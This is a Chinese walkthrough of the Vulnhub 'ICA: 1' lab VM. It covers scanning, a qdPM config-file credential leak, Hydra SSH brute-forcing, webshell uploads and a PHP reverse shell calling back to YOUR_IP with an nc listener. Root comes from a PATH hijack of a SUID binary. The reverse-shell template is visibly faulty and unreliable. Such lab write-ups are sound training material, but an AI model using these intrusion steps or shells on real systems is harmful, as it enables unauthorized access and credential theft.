Vulnhub-ICA01

news/2025/3/13 10:48:49/文章来源:https://www.cnblogs.com/yanke-wolf/p/18297480

简介

  • 名称:ICA: 1

  • 发布日期:2021 年 9 月 25 日

  • 难度:容易

  • 描述:根据我们情报网络的信息,ICA 正在开展一个秘密项目。我们需要弄清楚这个项目是什么。获得访问信息后,请将其发送给我们。我们稍后会放置一个后门来访问系统。您只需关注项目是什么。您可能必须通过几层安全性。原子能机构对您将成功完成这项任务充满信心。祝你好运,代理!

  • 下载地址:https://www.vulnhub.com/entry/ica-1,748/

  • kali攻击机ip:192.168.1.4

  • 靶机地址:192.168.1.32

一、信息收集

1.使用arp-scan对靶机IP进行扫描

image

2.使用nmap对目标靶机进行端口扫描

nmap -p 1-65535 192.168.1.32

开放了22,80,3306,33060

image

3.使用dirsearch对目标靶机进行目录扫描

dirsearch -u http://192.168.1.32/

image

[11:09:37] 301 -  309B  - /js  ->  http://192.168.1.32/js/                  
[11:10:27] 200 -  406B  - /backups/                                         
[11:10:27] 301 -  314B  - /backups  ->  http://192.168.1.32/backups/        
[11:10:33] 200 -    0B  - /check.php                                        
[11:10:39] 301 -  311B  - /core  ->  http://192.168.1.32/core/              
[11:10:40] 301 -  310B  - /css  ->  http://192.168.1.32/css/                
[11:10:49] 200 -  894B  - /favicon.ico                                      
[11:10:56] 301 -  313B  - /images  ->  http://192.168.1.32/images/          
[11:10:56] 200 -  639B  - /images/
[11:10:57] 200 -    2KB - /index.php                                                                   
[11:10:58] 301 -  314B  - /install  ->  http://192.168.1.32/install/        
[11:10:59] 200 -  764B  - /install/index.php?upgrade/                       
[11:10:59] 200 -  764B  - /install/                                         
[11:11:00] 301 -  317B  - /javascript  ->  http://192.168.1.32/javascript/  
[11:11:01] 200 -  576B  - /js/                                              
[11:11:10] 200 -  208B  - /manual/index.html                                
[11:11:10] 301 -  313B  - /manual  ->  http://192.168.1.32/manual/
[11:11:37] 200 -  338B  - /readme.txt                                       
[11:11:39] 200 -   26B  - /robots.txt                                       
[11:11:58] 200 -  487B  - /template/                                        
[11:12:04] 200 -  471B  - /uploads/                                         

apache

image

index of

image

网站安装目录

image

二、历史漏洞利用

1.使用searchsploit查找qdPM框架历史漏洞

qdPM 9.2 - Cross-site Request Forgery (CSRF)

跨站请求伪造(CSRF)

在CSRF攻击中,攻击者通常构建一个恶意的URL,这个URL内嵌了一个请求,当受害者点击时,他们的浏览器会自动包含任何相关的cookies或认证信息,并将请求发送到目标网站。例如,攻击者可以创建一个链接,当用户点击后,会向qdPM服务器发送一个修改密码的请求,如果用户当时已经登录了qdPM,那么这个请求就会以用户的身份被执行,从而导致密码被更改。

qdPM 9.2 - Password Exposure (Unauthenticated)

密码暴露(未认证访问)

如果存在未认证的密码暴露漏洞,攻击者可能无需认证就能访问存储在数据库中的密码或通过网络传输的密码。这可能是因为qdPM以明文形式存储密码,或者在传输过程中没有使用加密,使得中间人(MITM)攻击成为可能,攻击者能够截获并阅读密码数据。

image

使用find,cat命令查看历史漏洞利用信息

image

漏洞详情

  • 标题:qdPM 9.2 - 数据库连接字符串及密码暴露(未认证)
  • 日期:2021年3月8日
  • 作者:Leon Trappett (thepcn3rd)
  • 厂商主页:https://qdpm.net/
  • 软件下载链接:https://sourceforge.net/projects/qdpm/files/latest/download
  • 受影响版本:9.2
  • 测试环境:Ubuntu 20.04上的Apache2服务器运行PHP 7.4

漏洞说明

qdPM 9.2中数据库的连接字符串和密码被存储在一个YAML文件中。通常,这种敏感信息应当被严格保护,但在该版本中,可以通过直接访问http://<website>/core/config/databases.yml来下载并查看此文件的内容。这意味着任何人都可以在不知道任何认证凭据的情况下访问和下载包含数据库连接详细信息的配置文件。

wget http://192.168.11.177/core/config/databases.yml 下载yml文件

image

image

username: qdpmadmin

password: UcVQCMQk2STVeS6J

2.Navicat连接mysql数据库

image

mysql数据库+qdpm网站数据库+staff员工数据库

image

staff表

员工SSH登录账号

image

员工SSH登录密码

image

密码base64解码

Smith

suRJAdGwLp8dy3rF

Lucas

7ZwV4qtg42cmUXGX

Travis

X7MQkP3W29fewHdC

Dexter

DJceVy98W28Y7wLg

Meyer

cqNnBWCByS2DuJSy

通过staff的数据对ssh进行爆破——使用Hydra

hydra(九头蛇)是著名黑客组织thc的一款开源的暴力破解密码工具,功能非常强大,kali下是默认安装的,几乎支持所有协议的在线破解。密码能否破解,在于字典是否强大。

这里一定要注意将账号全部改小写,将账号、密码分别保存到两个文件

多线程分析命令

hydra -L /home/kali/桌面/user -P /home/kali/桌面/passwd -t 2 -vV -e ns 192.168.1.32 ssh

image

login: travis password: DJceVy98W28Y7wLg
login: dexter password: 7ZwV4qtg42cmUXGX

xftp连接——travis有一个flag,dexter有一个文件

image

image

ICA{Secret_Project}

image

存在一个note文件,内容如下

image

image

qdpm表

打开configuration表可以看到网站登录的账号密码,密码加密,无法直接登录。

要清楚加密方式,才可以解密

image

加密识别

方法1:这个网站密码加密方式未知,可以下载网站源码,放notepad找加密文件,了解对应的加密方式,具体流程可以参考服务器取证的题目。

方法2:网上查了一下,qdpm现在使用的是一种叫phpass的加密技术,也叫做wordpress(MD5)

image

  • 谈谈常见的加密和哈希值表示法:- "$P$" 通常表示经过 PHPass 工具加密的密码哈希值。- "{MD5}" 表示该字符串是 MD5 哈希值。- "{SHA1}" 表示该字符串是 SHA-1 哈希值。 - "{SSHA}" 表示该字符串是 Salted SHA-1 哈希值。- "$2a$" 表示该字符串是经过 Bcrypt 工具加密的密码哈希值。- "$2y$" 也表示经过 Bcrypt 加密的密码哈希。- "$5$" 表示经过 SHA-256 加密的密码哈希。- "$6$" 表示经过 SHA-512 加密的密码哈希。
    

方法3:也可以用在线识别网站判断加密方式——https://hashes.com/en/tools/hash_identifier

image

方法4:也可以使用hash-identifie:https://gitlab.com/kalilinux/packages/hash-identifier/-/tree/kali/master

hash-identifie是一个非常容易使用的 Python 工具,当你输入一个哈希值时,它会告诉你这个哈希值最有可能是什么哈希类型,将一系列哈希类型按可能性进行降序排列。

你可以使用以下方法从 gitlab 中提取hash-identifie的python 文件进行工具安装:

wget https://gitlab.com/kalilinux/packages/hash-identifier/-/raw/kali/master/hash-id.py

image

密码破解

在kali自带的John the Ripper工具里支持对phpass加密密码的破解

John the Ripper支持7种哈希类型密码破解,分别是bcrypt、descrypt 、sha512crypt、Drupal7、sha256crypt、md5cryp 与 phpass

我们把密码拷贝出来,存在攻击机的一个文件里
使用john尝试破解:john 文件路径 --wordlist=/usr/share/wordlists/rockyou.txt

不过我电脑都快跑冒烟了都没解出来

image

image

只能重新设置密码,加密后覆盖原密码

另外也可以用python调用phpass进行解密from passlib.hash import phpass\# 加密password = "ABCDEF"hashed_password = phpass.hash(password)print(hashed_password)\# 验证if phpass.verify(password, hashed_password):print("Password matched")else:print("Password did not match")

http://web.chacuo.net/safewordpress

这个网站也可以生成

image

密码:$P$BFHXrjZhxiaw7s1qSMm2xePeFsvz5L.

image

admin@localhost.com/123456 登录成功

image

三、文件上传

继续拿权限——添加用户,尝试上传php文件和图片文件的一句话木马,但是网站有过滤

添加一个自己的账号,给予管理员权限

image

用增加的用户登录

项目——新建项目——添加附件——上传木马

方法一:weevely

weevely生成php木马

weevely generate 密码 ./木马名称.php

上传网站

image

文件上传路径可以通过前面信息收集到的目录查找到——Index of

http://192.168.1.32/uploads/attachments/

image

image

方法二:蚁剑连接一句话木马

后面发现不管哪个地方上传都是在/uploads/attachments/目录下

这里是通过添加备注上传一句话木马,蚁剑连接即可

image

image

方法三:反弹shell,nc监听

利用文件上传漏洞进行反弹shell是一种常见的渗透测试技术,主要用于在目标服务器上获得一个交互式的shell。以下是在Kali Linux中,通过上传PHP文件来实现反弹shell的步骤:

前提条件

  • Kali Linux
  • 网络访问至目标服务器
  • 已经发现并验证了目标服务器的文件上传漏洞

步骤

  1. 准备反弹shell的PHP代码
    创建一个PHP文件,该文件将在被访问时尝试与你的Kali机器建立TCP连接。你可以使用以下代码模板(将YOUR_IP替换为你的Kali Linux的IP地址,将YOUR_PORT替换为你选择的监听端口):

    <?php
    $ip = 'YOUR_IP';
    $port = YOUR_PORT;
    $chunk_size = 1400;
    $write_a = null;
    $error_a = null;
    $shell = 'uname -a; w; id; /bin/sh -i';$sock = fsockopen($ip, $port, $errno, $errstr, 30);
    if (!$sock) {$msg = "Now exiting...\n";echo $msg;exit;
    }fwrite($sock, "$shell\n");while (!feof($sock)) {if (feof($write_a)) {fwrite($sock, "\n");continue;}$read_a = fread($sock, $chunk_size);if (strlen($read_a) == 0) {break;}fwrite($write_a, $read_a);
    }fclose($write_a);
    fclose($read_a);
    fclose($error_a);
    ?>
    

    将这个代码保存为一个.php文件,例如revshell.php

  2. 设置监听端口
    在Kali Linux上,使用nc(netcat)或ncat(nmap的扩展)命令来监听指定的端口。例如,监听4444端口:

    nc -lvnp 4444
    

    或者使用ncat

    ncat -lvnp 4444
    
  3. 上传PHP文件
    使用已知的文件上传漏洞将revshell.php上传到目标服务器的web可访问目录中。这通常通过Web应用程序的文件上传功能完成,具体方法取决于目标应用的上传机制。

  4. 触发反弹shell
    通过访问你上传的PHP文件的URL来触发反弹shell。例如,如果文件上传到了http://target-server/path/to/uploadedfile.php,就在浏览器中访问该URL或通过curl访问:

    curl http://target-server/path/to/uploadedfile.php
    
  5. 接收shell
    在Kali Linux上,你应该能看到一个shell出现在ncncat的监听端口中。现在,你就可以与目标服务器进行交互了。

image

image

image

升级会话

使用python -c 'import pty; pty.spawn("/bin/bash")'升级会话

这个命令在Python中启动一个交互式的bash shell会话,其中使用了Python的pty模块。

这种技术常被用于远程控制场景,例如在SSH连接中,或者在自动化脚本中需要模拟用户交互的场景。此外,它也被黑客用于在成功获得初步权限后,提升为更完整的shell访问,尤其是在渗透测试或红队活动中。

image

四、提权

这里建议使用反弹shell连接,上面的方法1,2均为webshell,权限较低,无法执行更改命令

find / -perm -u=s 2>&1 | grep -v "Permission denied"

这条命令的目的是列出系统中所有设置了Set-UID权限的文件,同时排除了因权限不足而产生的错误信息。这在系统管理、安全审计或查找潜在的安全漏洞时非常有用

1.找到可疑文件get_access

image

strings /opt/get_access

尝试读取该文件的字符内容,发现setuid字样,及cat读取root路径下文件的语句。猜测该程序先设置了UID,之后调用cat读取文件。可以考虑通过替换cat提权。

image

2.更改环境变量

执行get_access提权

cd /tmp
echo '/bin/bash' > cat
chmod +x cat
export PATH=/tmp:$PATH
/opt/get_access

image

3.找到Flag

root@debian:/root# ls
ls
root.txt system.info
root@debian:/root# more root.txt
more root.txt
ICA{Next_Generation_Self_Renewable_Genetics}
root@debian:/# cd /home
cd /home
root@debian:/home# ls
ls
dexter travis
root@debian:/home# cd travis
cd travis
root@debian:/home/travis# ls
ls
user.txt
root@debian:/home/travis# more user.txt
more user.txt
ICA{Secret_Project}ICA

三个flag已找到

总结

1.这次靶场先从信息收集入手,获取网站端口,目录等信息

2.对80网站利用框架漏洞进行渗透,获取Mysql数据库账密,再通过3306端口连接数据库,得到网站和SSH连接的账号密码,再通过密码爆破和密码MD5解密成功连上SSH和登录网站,找到一个flag

3.网站上传了三种木马,最后反弹shell到攻击机上执行命令

4.通过SSH的文件提示知道提权文件的利用方式,即ICA提权,获取了root权限,找到了最后的两个flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/742325.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

小林同学智能AI大模型语音助手

闲来无事,想起吃灰的树莓派拿来做点什么,貌似去年还专门买了个麦克风还没怎么用过。正好拿来做个类似小爱智能语音助手的小林同学,现在智能助手不接入大模型都不好意思说出来,当然小林同学没有小爱同学的米家生态功能,后续如果加入多模态图片识别貌似会更有点意思。智能助…

wifi 路由器设置和丢包问题 erwa.cn备忘

手机热点:早上少,上班后就开手机热点开始的人多了,多了后,newifi_BA04 2.4G就丢包。后来连接5G就不丢包,台式电脑用5G的USB转无线的网卡(购买是选择双频网口,2.4G(丢包),5.8G都支持的)。 erwa.cn 二娃备忘

ASP.NET Core中创建中间件的几种方式

前言 今天我们一起来盘点一下在ASP.NET Core应用程序中添加和创建中间件常见的四种方式。 中间件介绍 ASP.NET Core中间件(Middleware)是用于处理HTTP请求和响应的组件,它们被安排在请求处理管道中,并按顺序执行。中间件的设计是为了使其在请求处理管道中能够以灵活和可扩展…

读人工智能全传10深度思维

读人工智能全传10深度思维1. 深度思维 1.1. DeepMind 1.1.1. 深度思维 1.1.2. 2014年的员工不足25人 1.1.3. 深度思维公司公开宣称其任务是解决智能问题 1.1.4. 2014年谷歌收购DeepMind,人工智能突然成了新闻热点,以及商业热点 1.1.4.1. 收购报价高达4亿英镑 1.1.4.2. 深度思…

Teamcenter 按照时间段分批导入索引数据

1.修改导入区间:2.打开文件,修改日期范围:3.上传回服务器: 4.执行索引命令: 5.执行结果: 6.所有索引都创建完成后,启动定时增量索引,30秒索引一次 ./runTcFTSIndexer.sh -task=objdata:sync -interval=30

TIOVX验证阶段分析

TIOVX验证阶段分析 OpenVX数据对象的分配和映射发生在验证阶段。每个数据对象的内存都是通过在框架内部使用tivxMemBufferAlloc API从DDR共享内存的分割区域分配的。此分配在主机CPU上完成。通过在vxVerifyGraph调用中执行此分配,框架可以在应用程序内的单个点返回错误,以通知…

c++ 常见问题

1.中文输出乱码解决办法(二选一) #include <iostream> #include "windows.h" using namespace std; // 方法1: // 引入Windows.h // 增加 SetConsoleOutputCP(CP_UTF8); // 方法2: // system("chcp 65001") int main() {SetConsoleOutputCP(CP_…

点分治

介绍 点分治, 作为一种统计带权树简单路径长度的暴力分治算法, 其分治方法非常的巧妙, 可以将暴力的 \(O(n^2)\) 优化到 \(O(nlogn)\) 先看问题: 在一个带权树上, 统计两个点的简单路径长度不超过 \(k\) 的路径个数 这就是 模板题1 POJ1741 首先还是考虑如何使用暴力求出, 很明…

代理的设置

准备工作需要先获取一个可用代理,代理就是 IP 地址和端口的组合,就是 <ip>:<port> 这样的格式。如果代理需要访问认证,那就还需要额外的用户名密码两个信息。那怎么获取一个可用代理呢?使用搜索引擎搜索 “代理” 关键字,可以看到许多代理服务网站,网站上会有…

Web_BUUCTF_WriteUp | [强网杯 2019]随便注

题目分析 把 1 提交上去,得到回显如下:输入框可输入的内容不止数字,尝试用 " ) ") 闭合,探测发现输入 1 and 1=1;# 和 1 and 1=2;# 的回显不同,判断为单引号闭合。1 and 1=1;#:1 and 1=2;#:尝试查看当前所有数据库 1;show databases;#:成功了,接着看看当前…

红日靶场二

一、所需环境web端(双网卡)pc主机(双网卡)dc web端开启weblogic服务,360安全卫士 二、信息收集 1、目标主机探测2、端口扫描发现开启了许多高危端口,比如:7001、3389、445等 3、对7001weblogic端口就行漏洞扫描--->工具(Vscan-plus)发现扫出了一些cve漏洞,然后逐个…

Eureka原理

Eureka高级架构每一个地区对应一个region,zone 相当于机房 Eureka的服务治理流程 1、客户端启动时会向Eureka server发送注册请求; 2、当注册成功后客户端会每30秒定时通过提供的http api请求一次Eureka server端获取服务列表,第一次是全量,后面都是增量,然后缓存到本地;…